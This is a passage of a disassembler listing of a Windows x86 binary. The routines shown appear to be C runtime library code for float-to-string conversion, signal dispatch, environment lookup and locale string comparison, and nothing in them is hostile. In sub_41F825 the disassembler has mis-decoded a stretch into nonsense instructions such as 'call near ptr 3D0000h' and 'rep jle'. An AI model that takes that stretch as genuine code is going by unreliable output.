dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41F046 mov byte ptr [ebx+2], 2Dh jmp short loc_41F04A ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: sub_41EFE4+5Aj mov byte ptr [ebx+2], 20h loc_41F04A: ; CODE XREF: sub_41EFE4+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41F070 test edi, edi jnz short loc_41F070 cmp [ebp+arg_0], edi jnz short loc_41F070 loc_41F05B: ; CODE XREF: sub_41EFE4+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41F26E ; --------------------------------------------------------------------------- loc_41F070: ; CODE XREF: sub_41EFE4+6Cj ; sub_41EFE4+70j ... cmp dx, si jnz short loc_41F0EF mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41F089 cmp [ebp+arg_0], 0 jz short loc_41F098 loc_41F089: ; CODE XREF: sub_41EFE4+9Dj test edi, 40000000h jnz short loc_41F098 push offset a1Snan ; "1#SNAN" jmp short loc_41F0DE ; --------------------------------------------------------------------------- loc_41F098: ; CODE XREF: sub_41EFE4+A3j ; sub_41EFE4+ABj test cx, cx jz short loc_41F0B2 cmp edi, 0C0000000h jnz short loc_41F0B2 cmp [ebp+arg_0], 0 jnz short loc_41F0D9 push offset a1Ind ; "1#IND" jmp short loc_41F0C1 ; --------------------------------------------------------------------------- loc_41F0B2: ; CODE XREF: sub_41EFE4+B7j ; sub_41EFE4+BFj cmp edi, eax jnz short loc_41F0D9 cmp [ebp+arg_0], 0 jnz short loc_41F0D9 push offset a1Inf ; "1#INF" loc_41F0C1: ; CODE XREF: sub_41EFE4+CCj lea eax, [ebx+4] push eax call sub_415BE0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41F0D0: ; CODE XREF: sub_41EFE4+109j and [ebp+var_4], 0 jmp loc_41F247 ; --------------------------------------------------------------------------- loc_41F0D9: ; CODE XREF: sub_41EFE4+C5j ; sub_41EFE4+D0j ... push offset a1Qnan ; "1#QNAN" loc_41F0DE: ; CODE XREF: sub_41EFE4+B2j lea eax, [ebx+4] push eax call sub_415BE0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41F0D0 ; --------------------------------------------------------------------------- loc_41F0EF: ; CODE XREF: sub_41EFE4+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41F6FC add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41F150 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41F4DC pop ecx pop ecx loc_41F150: ; CODE XREF: sub_41EFE4+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41F16A mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41F16D jmp loc_41F05B ; --------------------------------------------------------------------------- loc_41F16A: ; CODE XREF: sub_41EFE4+173j mov edi, [ebp+arg_C] loc_41F16D: ; CODE XREF: sub_41EFE4+17Fj cmp edi, 15h jle short loc_41F175 push 15h pop edi loc_41F175: ; CODE XREF: sub_41EFE4+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41F18B: ; CODE XREF: sub_41EFE4+1B4j lea eax, [ebp+var_10] push eax call sub_41E9F1 dec [ebp+arg_14] pop ecx jnz short loc_41F18B test esi, esi jge short loc_41F1B5 neg esi and esi, 0FFh jle short loc_41F1B5 loc_41F1A8: ; CODE XREF: sub_41EFE4+1CFj lea eax, [ebp+var_10] push eax call sub_41EA1F dec esi pop ecx jnz short loc_41F1A8 loc_41F1B5: ; CODE XREF: sub_41EFE4+1B8j ; sub_41EFE4+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41F212 mov [ebp+arg_C], ecx loc_41F1C5: ; CODE XREF: sub_41EFE4+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41E9F1 lea eax, [ebp+var_10] push eax call sub_41E9F1 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41E993 lea eax, [ebp+var_10] push eax call sub_41E9F1 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41F1C5 mov eax, [ebp+arg_14] loc_41F212: ; CODE XREF: sub_41EFE4+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41F24F loc_41F21F: ; CODE XREF: sub_41EFE4+248j cmp eax, ecx jb short loc_41F232 cmp byte ptr [eax], 39h jnz short loc_41F22E mov byte ptr [eax], 30h dec eax jmp short loc_41F21F ; --------------------------------------------------------------------------- loc_41F22E: ; CODE XREF: sub_41EFE4+242j cmp eax, ecx jnb short loc_41F236 loc_41F232: ; CODE XREF: sub_41EFE4+23Dj inc eax inc word ptr [ebx] loc_41F236: ; CODE XREF: sub_41EFE4+24Cj inc byte ptr [eax] loc_41F238: ; CODE XREF: sub_41EFE4+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41F247: ; CODE XREF: sub_41EFE4+F0j mov eax, [ebp+var_4] loc_41F24A: ; CODE XREF: sub_41EFE4+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41F24F: ; CODE XREF: sub_41EFE4+239j ; sub_41EFE4+275j cmp eax, ecx jb short loc_41F25F cmp byte ptr [eax], 30h jnz short loc_41F25B dec eax jmp short loc_41F24F ; --------------------------------------------------------------------------- loc_41F25B: ; CODE XREF: sub_41EFE4+272j cmp eax, ecx jnb short loc_41F238 loc_41F25F: ; CODE XREF: sub_41EFE4+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41F26E: ; CODE XREF: sub_41EFE4+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41F24A sub_41EFE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F277 proc near ; CODE XREF: sub_41AB7C+3423p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41F2DE dec eax dec eax jz short loc_41F2CF sub eax, 4 jz short loc_41F2CF sub eax, 3 jz short loc_41F2CF sub eax, 4 jz short loc_41F2C2 sub eax, 6 jz short loc_41F2B5 dec eax jz short loc_41F2A8 or eax, 0FFFFFFFFh jmp loc_41F3A0 ; --------------------------------------------------------------------------- loc_41F2A8: ; CODE XREF: sub_41F277+27j mov esi, ds:dword_46974C mov eax, offset dword_46974C jmp short loc_41F2E9 ; --------------------------------------------------------------------------- loc_41F2B5: ; CODE XREF: sub_41F277+24j mov esi, ds:dword_469748 mov eax, offset dword_469748 jmp short loc_41F2E9 ; --------------------------------------------------------------------------- loc_41F2C2: ; CODE XREF: sub_41F277+1Fj mov esi, ds:dword_469750 mov eax, offset dword_469750 jmp short loc_41F2E9 ; --------------------------------------------------------------------------- loc_41F2CF: ; CODE XREF: sub_41F277+10j ; sub_41F277+15j ... push edi call sub_41F3A4 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41F2E9 ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F277+Cj mov esi, ds:dword_469744 mov eax, offset dword_469744 loc_41F2E9: ; CODE XREF: sub_41F277+3Cj ; sub_41F277+49j ... cmp esi, 1 jnz short loc_41F2F5 xor eax, eax jmp loc_41F3A0 ; --------------------------------------------------------------------------- loc_41F2F5: ; CODE XREF: sub_41F277+75j test esi, esi jnz short loc_41F300 push 3 call sub_417818 loc_41F300: ; CODE XREF: sub_41F277+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41F312 cmp edi, 0Bh jz short loc_41F312 cmp edi, 4 jnz short loc_41F338 loc_41F312: ; CODE XREF: sub_41F277+8Fj ; sub_41F277+94j mov ebx, ds:dword_469524 and ds:dword_469524, 0 cmp edi, ecx jnz short loc_41F367 mov edx, ds:dword_4383AC mov ds:dword_4383AC, 8Ch mov [ebp+arg_0], edx jmp short loc_41F33B ; --------------------------------------------------------------------------- loc_41F338: ; CODE XREF: sub_41F277+99j mov ebx, [ebp+arg_0] loc_41F33B: ; CODE XREF: sub_41F277+BFj cmp edi, ecx jnz short loc_41F367 mov eax, ds:dword_4383A0 mov ecx, ds:dword_4383A4 add ecx, eax cmp eax, ecx jge short loc_41F36E lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:438330h[edx*4] loc_41F35C: ; CODE XREF: sub_41F277+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41F35C jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F367: ; CODE XREF: sub_41F277+AAj ; sub_41F277+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41F37C loc_41F36E: ; CODE XREF: sub_41F277+D7j ; sub_41F277+EEj push ds:dword_4383AC push 8 call esi pop ecx pop ecx jmp short loc_41F38A ; --------------------------------------------------------------------------- loc_41F37C: ; CODE XREF: sub_41F277+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41F38A cmp edi, 4 jnz short loc_41F39D loc_41F38A: ; CODE XREF: sub_41F277+103j ; sub_41F277+10Cj cmp edi, 8 mov ds:dword_469524, ebx jnz short loc_41F39D mov eax, [ebp+arg_0] mov ds:dword_4383AC, eax loc_41F39D: ; CODE XREF: sub_41F277+111j ; sub_41F277+11Cj xor eax, eax pop ebx loc_41F3A0: ; CODE XREF: sub_41F277+2Cj ; sub_41F277+79j pop edi pop esi pop ebp retn sub_41F277 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F3A4 proc near ; CODE XREF: sub_41F277+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_4383A8 cmp ds:dword_43832C, edx push esi mov eax, offset dword_438328 jz short loc_41F3D2 lea esi, [ecx+ecx*2] lea esi, ds:438328h[esi*4] loc_41F3C6: ; CODE XREF: sub_41F3A4+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41F3D2 cmp [eax+4], edx jnz short loc_41F3C6 loc_41F3D2: ; CODE XREF: sub_41F3A4+16j ; sub_41F3A4+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438328h[ecx*4] cmp eax, ecx jnb short loc_41F3E6 cmp [eax+4], edx jz short locret_41F3E8 loc_41F3E6: ; CODE XREF: sub_41F3A4+3Bj xor eax, eax locret_41F3E8: ; CODE XREF: sub_41F3A4+40j retn sub_41F3A4 endp ; =============== S U B R O U T I N E ======================================= sub_41F3E9 proc near ; CODE XREF: sub_41E142+23p arg_0 = dword ptr 4 cmp ds:dword_46AAE8, 0 push ebx push esi mov esi, ds:dword_46949C push edi jz short loc_41F460 test esi, esi jnz short loc_41F41A cmp ds:dword_4694A4, esi jz short loc_41F460 call sub_41F7B7 test eax, eax jnz short loc_41F460 mov esi, ds:dword_46949C test esi, esi jz short loc_41F460 loc_41F41A: ; CODE XREF: sub_41F3E9+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41F460 push ebx call sub_415CD0 pop ecx mov edi, eax loc_41F42B: ; CODE XREF: sub_41F3E9+6Dj mov eax, [esi] test eax, eax jz short loc_41F460 push eax call sub_415CD0 cmp eax, edi pop ecx jbe short loc_41F453 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41F453 push edi push ebx push eax call sub_41F778 add esp, 0Ch test eax, eax jz short loc_41F458 loc_41F453: ; CODE XREF: sub_41F3E9+51j ; sub_41F3E9+59j add esi, 4 jmp short loc_41F42B ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F3E9+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41F462 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F3E9+10j ; sub_41F3E9+1Cj ... xor eax, eax loc_41F462: ; CODE XREF: sub_41F3E9+75j pop edi pop esi pop ebx retn sub_41F3E9 endp ; =============== S U B R O U T I N E ======================================= sub_41F466 proc near ; CODE XREF: sub_41E82C+8Bp ; sub_41E82C+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_46A8A0 jnb short loc_41F4CD mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_46A7A0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41F4CD mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41F4A6 and cl, 7Fh jmp short loc_41F4B3 ; --------------------------------------------------------------------------- loc_41F4A6: ; CODE XREF: sub_41F466+39j cmp [esp+4+arg_4], 4000h jnz short loc_41F4C1 or cl, 80h loc_41F4B3: ; CODE XREF: sub_41F466+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41F4C1: ; CODE XREF: sub_41F466+48j mov ds:dword_469474, 16h jmp short loc_41F4D7 ; --------------------------------------------------------------------------- loc_41F4CD: ; CODE XREF: sub_41F466+Bj ; sub_41F466+27j mov ds:dword_469474, 9 loc_41F4D7: ; CODE XREF: sub_41F466+65j or eax, 0FFFFFFFFh pop esi retn sub_41F466 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4DC proc near ; CODE XREF: sub_41EFE4+165p ; sub_41F6FC+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41F6DC cmp cx, 7FFFh jnb loc_41F6DC cmp dx, 0BFFDh ja loc_41F6DC cmp dx, 3FBFh ja short loc_41F545 xor eax, eax jmp short loc_41F57F ; --------------------------------------------------------------------------- loc_41F545: ; CODE XREF: sub_41F4DC+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41F567 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41F567 xor eax, eax cmp [esi+4], eax jnz short loc_41F569 cmp [esi], eax jnz short loc_41F569 jmp loc_41F6D6 ; --------------------------------------------------------------------------- loc_41F567: ; CODE XREF: sub_41F4DC+71j ; sub_41F4DC+79j xor eax, eax loc_41F569: ; CODE XREF: sub_41F4DC+80j ; sub_41F4DC+84j cmp cx, ax jnz short loc_41F58C inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41F58C cmp [ebx+4], eax jnz short loc_41F58C cmp [ebx], eax jnz short loc_41F58C loc_41F57F: ; CODE XREF: sub_41F4DC+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41F6F7 ; --------------------------------------------------------------------------- loc_41F58C: ; CODE XREF: sub_41F4DC+90j ; sub_41F4DC+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41F59C: ; CODE XREF: sub_41F4DC+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41F5F0 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41F5B8: ; CODE XREF: sub_41F4DC+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41E972 add esp, 0Ch test eax, eax jz short loc_41F5E3 mov eax, [ebp+var_4] inc word ptr [eax] loc_41F5E3: ; CODE XREF: sub_41F4DC+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41F5B8 loc_41F5F0: ; CODE XREF: sub_41F4DC+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41F59C add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41F633 loc_41F60E: ; CODE XREF: sub_41F4DC+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41F62C lea eax, [ebp+var_24] push eax call sub_41E9F1 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41F60E loc_41F62C: ; CODE XREF: sub_41F4DC+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41F66C loc_41F633: ; CODE XREF: sub_41F4DC+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41F66C movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41F64C: ; CODE XREF: sub_41F4DC+184j test byte ptr [ebp+var_24], 1 jz short loc_41F655 inc [ebp+var_14] loc_41F655: ; CODE XREF: sub_41F4DC+174j lea eax, [ebp+var_24] push eax call sub_41EA1F dec ebx pop ecx jnz short loc_41F64C cmp [ebp+var_14], 0 jz short loc_41F66C or byte ptr [ebp+var_24], 1 loc_41F66C: ; CODE XREF: sub_41F4DC+155j ; sub_41F4DC+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41F683 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41F6B8 loc_41F683: ; CODE XREF: sub_41F4DC+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41F6B5 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41F6B0 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41F6AA inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41F6B8 ; --------------------------------------------------------------------------- loc_41F6AA: ; CODE XREF: sub_41F4DC+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41F6B8 ; --------------------------------------------------------------------------- loc_41F6B0: ; CODE XREF: sub_41F4DC+1B5j inc [ebp+var_20+2] jmp short loc_41F6B8 ; --------------------------------------------------------------------------- loc_41F6B5: ; CODE XREF: sub_41F4DC+1ABj inc [ebp+var_24+2] loc_41F6B8: ; CODE XREF: sub_41F4DC+1A5j ; sub_41F4DC+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41F6DC mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41F6D6: ; CODE XREF: sub_41F4DC+86j mov [esi+0Ah], ax jmp short loc_41F6F7 ; --------------------------------------------------------------------------- loc_41F6DC: ; CODE XREF: sub_41F4DC+42j ; sub_41F4DC+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41F6F7: ; CODE XREF: sub_41F4DC+ABj ; sub_41F4DC+1FEj pop edi pop esi pop ebx leave retn sub_41F4DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6FC proc near ; CODE XREF: sub_41EB13+440p ; sub_41EFE4+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_438820 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41F775 jge short loc_41F724 mov eax, [ebp+arg_4] mov ebx, offset dword_438980 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41F724: ; CODE XREF: sub_41F6FC+16j cmp [ebp+arg_8], ecx jnz short loc_41F72F mov eax, [ebp+arg_0] mov [eax], cx loc_41F72F: ; CODE XREF: sub_41F6FC+2Bj cmp [ebp+arg_4], ecx jz short loc_41F775 push esi push edi loc_41F736: ; CODE XREF: sub_41F6FC+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41F76E lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41F761 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41F761: ; CODE XREF: sub_41F6FC+57j push esi push [ebp+arg_0] call sub_41F4DC pop ecx pop ecx xor ecx, ecx loc_41F76E: ; CODE XREF: sub_41F6FC+49j cmp [ebp+arg_4], ecx jnz short loc_41F736 pop edi pop esi loc_41F775: ; CODE XREF: sub_41F6FC+14j ; sub_41F6FC+36j pop ebx leave retn sub_41F6FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F778 proc near ; CODE XREF: sub_41F3E9+5Ep ; sub_41FC29+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41F785 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41F785: ; CODE XREF: sub_41F778+7j push ds:dword_46A8A4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push ds:dword_46AAC4 call sub_41F825 add esp, 1Ch test eax, eax jnz short loc_41F7B2 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F778+31j add eax, 0FFFFFFFEh pop ebp retn sub_41F778 endp ; =============== S U B R O U T I N E ======================================= sub_41F7B7 proc near ; CODE XREF: sub_41F3E9+1Ep ; seg000:0041FAFDp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, ds:dword_4694A4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41F818 mov ebx, ds:dword_421138 loc_41F7D0: ; CODE XREF: sub_41F7B7+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_41F820 push ebp call sub_415DA9 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41F820 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_41F820 push edi push [esp+18h+var_4] call loc_41FAA2 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41F7D0 loc_41F818: ; CODE XREF: sub_41F7B7+11j xor eax, eax loc_41F81A: ; CODE XREF: sub_41F7B7+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41F820: ; CODE XREF: sub_41F7B7+29j ; sub_41F7B7+38j ... or eax, 0FFFFFFFFh jmp short loc_41F81A sub_41F7B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F825 proc near ; CODE XREF: sub_41F778+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421C20 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp ds:dword_469758, ebx push 1 pop edi jnz short loc_41F898 push edi mov eax, offset dword_421870 push eax push edi push eax push ebx push ebx call ds:dword_421008 ; CompareStringW test eax, eax jz short loc_41F875 mov ds:dword_469758, edi jmp short loc_41F898 ; --------------------------------------------------------------------------- loc_41F875: ; CODE XREF: sub_41F825+46j push edi mov eax, offset dword_438FB4 push eax push edi push eax push ebx push ebx call ds:dword_42100C ; CompareStringA test eax, eax jz loc_41FA8E mov ds:dword_469758, 2 loc_41F898: ; CODE XREF: sub_41F825+31j ; sub_41F825+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41F8AF push esi push [ebp+arg_8] call sub_41BF75 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_41F8AF: ; CODE XREF: sub_41F825+78j cmp [ebp+arg_14], ebx jle short loc_41F8C4 push [ebp+arg_14] push [ebp+arg_10] call sub_41BF75 pop ecx pop ecx mov [ebp+arg_14], eax loc_41F8C4: ; CODE XREF: sub_41F825+8Dj mov eax, ds:dword_469758 cmp eax, 2 jnz short loc_41F8E9 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42100C ; CompareStringA jmp loc_41FA90 ; --------------------------------------------------------------------------- loc_41F8E9: ; CODE XREF: sub_41F825+A7j cmp eax, edi jnz loc_41FA8E cmp [ebp+arg_18], ebx jnz short loc_41F8FE mov eax, ds:dword_469518 mov [ebp+arg_18], eax loc_41F8FE: ; CODE XREF: sub_41F825+CFj cmp esi, ebx jz short loc_41F90B cmp [ebp+arg_14], ebx jnz loc_41F9A3 loc_41F90B: ; CODE XREF: sub_41F825+DBj cmp esi, [ebp+arg_14] jnz short loc_41F918 loc_41F910: ; CODE XREF: sub_41F825+13Cj ; sub_41F825+16Dj push 2 loc_41F912: ; CODE XREF: sub_41F825+146j pop eax jmp loc_41FA90 ; --------------------------------------------------------------------------- loc_41F918: ; CODE XREF: sub_41F825+E9j cmp [ebp+arg_14], edi jle short loc_41F924 loc_41F91D: ; CODE XREF: sub_41F825+151j ; sub_41F825+159j ... mov eax, edi jmp loc_41FA90 ; --------------------------------------------------------------------------- loc_41F924: ; CODE XREF: sub_41F825+F6j cmp esi, edi jg short loc_41F969 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 3D0000h mov ecx, 840FC085h push ecx add [eax], eax add [ebx], bh rep jle short loc_41F96D cmp [ebp+var_3C], 2 jb short loc_41F969 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F969 loc_41F94F: ; CODE XREF: sub_41F825+142j mov dl, [eax+1] cmp dl, bl jz short loc_41F969 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41F963 cmp cl, dl jbe short loc_41F910 loc_41F963: ; CODE XREF: sub_41F825+138j inc eax inc eax cmp [eax], bl jnz short loc_41F94F loc_41F969: ; CODE XREF: sub_41F825+101j ; sub_41F825+120j ... push 3 jmp short loc_41F912 ; --------------------------------------------------------------------------- loc_41F96D: ; CODE XREF: sub_41F825+119j cmp [ebp+arg_14], ebx jle short loc_41F9A3 cmp [ebp+var_3C], 2 jb short loc_41F91D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F91D loc_41F980: ; CODE XREF: sub_41F825+177j mov dl, [eax+1] cmp dl, bl jz short loc_41F91D mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41F998 cmp cl, dl jbe loc_41F910 loc_41F998: ; CODE XREF: sub_41F825+169j inc eax inc eax cmp [eax], bl jnz short loc_41F980 jmp loc_41F91D ; --------------------------------------------------------------------------- loc_41F9A3: ; CODE XREF: sub_41F825+E0j ; sub_41F825+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_421064 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_41FA8E mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_415D50 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41F9F2 ; 